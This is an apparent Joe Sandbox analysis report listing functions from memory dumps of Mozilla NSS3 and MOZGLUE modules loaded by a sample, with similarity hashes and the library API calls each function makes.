Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: e7867e7a455ba935af679de89cc30c7fc44d0c71234a0e397a4e39654519862c
Instruction ID: da793ac00004bd9449099cf72ff7b25be7e8a457b57028412137a409ef8676aa
Opcode Fuzzy Hash: e7867e7a455ba935af679de89cc30c7fc44d0c71234a0e397a4e39654519862c
Instruction Fuzzy Hash: 97113DB16096199BDB10AF78C08856DBBF4BF05348F014979D998DB601EB30D494CBD6

Function 6C740FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6E87ED,00000800,6C6DEF74,00000000), ref: 6C741000
PR_NewLock.NSS3(?,00000800,6C6DEF74,00000000), ref: 6C741016

Part of subcall function 6C7A98D0: calloc.MOZGLUE(00000001,00000084,6C6D0936,00000001,?,6C6D102C), ref: 6C7A98E5

PL_InitArenaPool.NSS3(00000000,security,6C6E87ED,00000008,?,00000800,6C6DEF74,00000000), ref: 6C74102B
TlsGetValue.KERNEL32(00000000,?,?,6C6E87ED,00000800,6C6DEF74,00000000), ref: 6C741044
free.MOZGLUE(00000000,?,00000800,6C6DEF74,00000000), ref: 6C741064

Strings

security, xrefs: 6C741025

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: f8c3c95eeae789e304d575b2d43e3b2d7cd6eab28ac13a23493665997a78bcc3
Instruction ID: c02562b21932a581a5f88f6b5a26aa2589956940bc1d83caaf0e197acb6645e1
Opcode Fuzzy Hash: f8c3c95eeae789e304d575b2d43e3b2d7cd6eab28ac13a23493665997a78bcc3
Instruction Fuzzy Hash: D101487064025057E7303F3D9E08B563AA8BF0274EF028635E80896A62EB60C124DBD1

Function 6C782E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C783046

Part of subcall function 6C76EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C757FFB), ref: 6C78312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C783154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C782E8B

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

Part of subcall function 6C76F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C759BFF,?,00000000,00000000), ref: 6C76F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C757FFA), ref: 6C782EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C78317B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 45db410c720fe8c34a60a03cfdcaf047751423be9ad6228a7d7439846f5f0762
Instruction ID: 472390d2c70e0835c9e4de66d98f2cc8e0d90ddb4a73676044fcc8523543b8bd
Opcode Fuzzy Hash: 45db410c720fe8c34a60a03cfdcaf047751423be9ad6228a7d7439846f5f0762
Instruction Fuzzy Hash: 86A1B071A002189FDB24CF54CD88BEAB7B5EF49308F1481A9EE4967741E731AD45CFA1

Function 6C74ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C74ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C74EDCE

Part of subcall function 6C740BE0: malloc.MOZGLUE(6C738D2D,?,00000000,?), ref: 6C740BF8
Part of subcall function 6C740BE0: TlsGetValue.KERNEL32(6C738D2D,?,00000000,?), ref: 6C740C15

free.MOZGLUE(00000000,?,?,?,?,6C74B04F), ref: 6C74EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C74EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C74EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C74EEFB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 2cd8ef9c6415934a3004561e6e61556a35d8637db091a718b629c2bc3c265fbe
Instruction ID: d7e3a68aac50215266377f28402f8730edaaee703af138d3d8487616c8646b95
Opcode Fuzzy Hash: 2cd8ef9c6415934a3004561e6e61556a35d8637db091a718b629c2bc3c265fbe
Instruction Fuzzy Hash: DA816CB5A002099FEB14CF55DA85FABB7F9BF88318F148438E8159B751D730E815CBA1

Function 6C74CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C74C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C74DAE2,?), ref: 6C74C6C2

PR_Now.NSS3 ref: 6C74CD35

Part of subcall function 6C7A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7F0A27), ref: 6C7A9DC6
Part of subcall function 6C7A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7F0A27), ref: 6C7A9DD1

Part of subcall function 6C736C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6E1C6F,00000000,00000004,?,?), ref: 6C736C3F

PR_GetCurrentThread.NSS3 ref: 6C74CD54

Part of subcall function 6C7A9BF0: TlsGetValue.KERNEL32(?,?,?,6C7F0A75), ref: 6C7A9C07

Part of subcall function 6C737260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6E1CCC,00000000,00000000,?,?), ref: 6C73729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C74CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C74CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C74CE2C

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C74CE40

Part of subcall function 6C7414C0: TlsGetValue.KERNEL32 ref: 6C7414E0
Part of subcall function 6C7414C0: EnterCriticalSection.KERNEL32 ref: 6C7414F5
Part of subcall function 6C7414C0: PR_Unlock.NSS3 ref: 6C74150D

Part of subcall function 6C74CEE0: PORT_ArenaMark_Util.NSS3(?,6C74CD93,?), ref: 6C74CEEE
Part of subcall function 6C74CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C74CD93,?), ref: 6C74CEFC
Part of subcall function 6C74CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C74CD93,?), ref: 6C74CF0B
Part of subcall function 6C74CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C74CD93,?), ref: 6C74CF1D

Part of subcall function 6C74CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C74CD93,?), ref: 6C74CF47
Part of subcall function 6C74CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C74CD93,?), ref: 6C74CF67
Part of subcall function 6C74CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C74CD93,?,?,?,?,?,?,?,?,?,?,?,6C74CD93,?), ref: 6C74CF78

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadZfree
String ID:
API String ID: 2342748994-0
Opcode ID: 924b150ba19a621533dd0c6c777fdddbed4d9602a6514442af5cca0bb8c3fbf1
Instruction ID: 8a1ca3f74fdcec6d62024e18b686cf79cb6ae435b7bd930326ccbe43ea001080
Opcode Fuzzy Hash: 924b150ba19a621533dd0c6c777fdddbed4d9602a6514442af5cca0bb8c3fbf1
Instruction Fuzzy Hash: 4151D376A001209BE710EF69DE48FAA73F8AF48349F258534D80897B41FB31ED09CB91

Function 6C71EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C71EF38

Part of subcall function 6C709520: PK11_IsLoggedIn.NSS3(00000000,?,6C73379E,?,00000001,?), ref: 6C709542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C71EF53

Part of subcall function 6C724C20: TlsGetValue.KERNEL32 ref: 6C724C4C
Part of subcall function 6C724C20: EnterCriticalSection.KERNEL32(?), ref: 6C724C60
Part of subcall function 6C724C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C724CA1
Part of subcall function 6C724C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C724CBE
Part of subcall function 6C724C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C724CD2
Part of subcall function 6C724C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C724D3A

PR_GetCurrentThread.NSS3 ref: 6C71EF9E

Part of subcall function 6C7A9BF0: TlsGetValue.KERNEL32(?,?,?,6C7F0A75), ref: 6C7A9C07

free.MOZGLUE(00000000), ref: 6C71EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C71F016
free.MOZGLUE(00000000), ref: 6C71F022

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: df12010ffa99c94c7565524797ae6beaba107c76d614b581e2e92eb8e793dbc1
Instruction ID: 20dfbd4fb1fc01ac48cab9404f15e59b9de4dac8605f62093ff609e1d7a2ba57
Opcode Fuzzy Hash: df12010ffa99c94c7565524797ae6beaba107c76d614b581e2e92eb8e793dbc1
Instruction Fuzzy Hash: D24192B1E00209AFDF018FA9DD49BEE7BB9AF48358F044035F918A6751E772C915CBA1

Function 6C6F4860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6F4894

Part of subcall function 6C73B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8118D0,?), ref: 6C73B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6F48CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6F48DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C6F48FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6F4912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F494A

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 772a19ef14afd142e5a7e9d6047a5a6e01bd9c27f44e095b6ee486ccf021d018
Instruction ID: 1e50e1c1aa65d616173cbf5a00abfd8f8fb9967ddcd98c6384b2417e8e4101b8
Opcode Fuzzy Hash: 772a19ef14afd142e5a7e9d6047a5a6e01bd9c27f44e095b6ee486ccf021d018
Instruction Fuzzy Hash: C141B4716043056BE700CB69DA84BAB73E99F44318F14052CEA6997B81F7B0E909C756

Function 6C70CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C70CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C70D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C70D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C70D025
PR_NewLock.NSS3 ref: 6C70D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C70D074

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b9e9c216b8736e6114d8b03d56d10f4548d2b913a0b78305a5382b83de4a0677
Instruction ID: f29e95204927bec07c35a9f5c84ef5caee5683f94a788ce3b4019ead8ddd8bba
Opcode Fuzzy Hash: b9e9c216b8736e6114d8b03d56d10f4548d2b913a0b78305a5382b83de4a0677
Instruction Fuzzy Hash: 7D418FF1B013118BEB10DF29CA8879A7BE4AF18319F104179DC1D8B746D774D485CBA6

Function 6C748810 Relevance: 9.1, APIs: 6, Instructions: 110memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6C7486AA), ref: 6C748851

Part of subcall function 6C741340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C6E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6DF599,?,00000000), ref: 6C74136A
Part of subcall function 6C741340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6DF599,?,00000000), ref: 6C74137E
Part of subcall function 6C741340: PL_ArenaGrow.NSS3(?,6C6DF599,?,00000000,?,6C6E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6DF599,?), ref: 6C7413CF
Part of subcall function 6C741340: PR_Unlock.NSS3(?,?,6C6E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6DF599,?,00000000), ref: 6C74145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,6C7486AA), ref: 6C74886C
PORT_ArenaAlloc_Util.NSS3(?,0000002C), ref: 6C748890
PR_GetCurrentThread.NSS3 ref: 6C74891C
PR_GetCurrentThread.NSS3 ref: 6C748937

Part of subcall function 6C7A9BF0: TlsGetValue.KERNEL32(?,?,?,6C7F0A75), ref: 6C7A9C07

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Arena$Util$Alloc_CurrentThreadValue$CriticalEnterGrowGrow_SectionUnlock
String ID:
API String ID: 3779483720-0
Opcode ID: 173d7a41d17a8653f44cbd47bf5534686a8a01ff71c31d1ecacee99b03f69e54
Instruction ID: cb37f55c38f194285105906445632961add551944e7d066e69342c80f9fe3565
Opcode Fuzzy Hash: 173d7a41d17a8653f44cbd47bf5534686a8a01ff71c31d1ecacee99b03f69e54
Instruction Fuzzy Hash: 034183B0A016069FE704CF29DA94B51BBA4FF54308F14827AD818DB751EB72E964CBD1

Function 6C6F2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C6E2D1A), ref: 6C6F2E7E

Part of subcall function 6C7407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6E8298,?,?,?,6C6DFCE5,?), ref: 6C7407BF
Part of subcall function 6C7407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7407E6
Part of subcall function 6C7407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C74081B
Part of subcall function 6C7407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C740825

PR_Now.NSS3 ref: 6C6F2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C6F2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C6E2D1A), ref: 6C6F2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C6E2D1A), ref: 6C6F2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6F2F81

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 84ae8b779df5743c810889ce1f7277d35bf6976e7d33aaa76742490246ffb827
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: FC31D27156318087F710C669C84DBAA7367EB81318F64456AD43997AD0EB31988BCE1A

Function 6C61DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C61D38A,?), ref: 6C61DC6F
free.MOZGLUE(?,?,?,?,?,6C61D38A,?), ref: 6C61DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C61D38A,?), ref: 6C61DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C61D38A,?), ref: 6C61DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C61D38A,?), ref: 6C61DD4A

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 7402dce0d87de27d4fedff7d5423565f1016a2338701dee2745b4847fe78b0ef
Instruction ID: dee93f484dbf10babaae7559b463710b9726233886895710366c1c9aec2fd4bc
Opcode Fuzzy Hash: 7402dce0d87de27d4fedff7d5423565f1016a2338701dee2745b4847fe78b0ef
Instruction Fuzzy Hash: 15415AB5A00605DFCB00CFA9C88099AB7F6FF89318B554569DA45ABB10D771FC00CB94

Function 6C6E0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C6E0A2C), ref: 6C6E0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C6E0A2C), ref: 6C6E0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C6E0A2C), ref: 6C6E0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C6E0A2C), ref: 6C6E0E90
free.MOZGLUE(00000000), ref: 6C6E0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C6E0A2C), ref: 6C6E0ED9

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: ae85e08e5db510b0d3e013836df98b8280ed019bc76f37562ab67dc551841731
Instruction ID: 19d735ebde495331e067cb75eb12e7f7835d142774c80361fbb43a0513668a30
Opcode Fuzzy Hash: ae85e08e5db510b0d3e013836df98b8280ed019bc76f37562ab67dc551841731
Instruction Fuzzy Hash: 86216E72E0A28557EB1045759C85BAB72AFDBC9748F094037D81CA3A12FF60C81796A6

Function 6C6F88D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C700725,00000000,00000058), ref: 6C6F8906
EnterCriticalSection.KERNEL32(?), ref: 6C6F891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C6F894A
calloc.MOZGLUE(00000001,6C70072D,00000000,00000000,00000000,?,6C700725,00000000,00000058), ref: 6C6F8959
memset.VCRUNTIME140(?,00000000,?), ref: 6C6F8993
PR_Unlock.NSS3(?), ref: 6C6F89AF

Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07AD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07CD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07D6
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C66204A), ref: 6C6D07E4
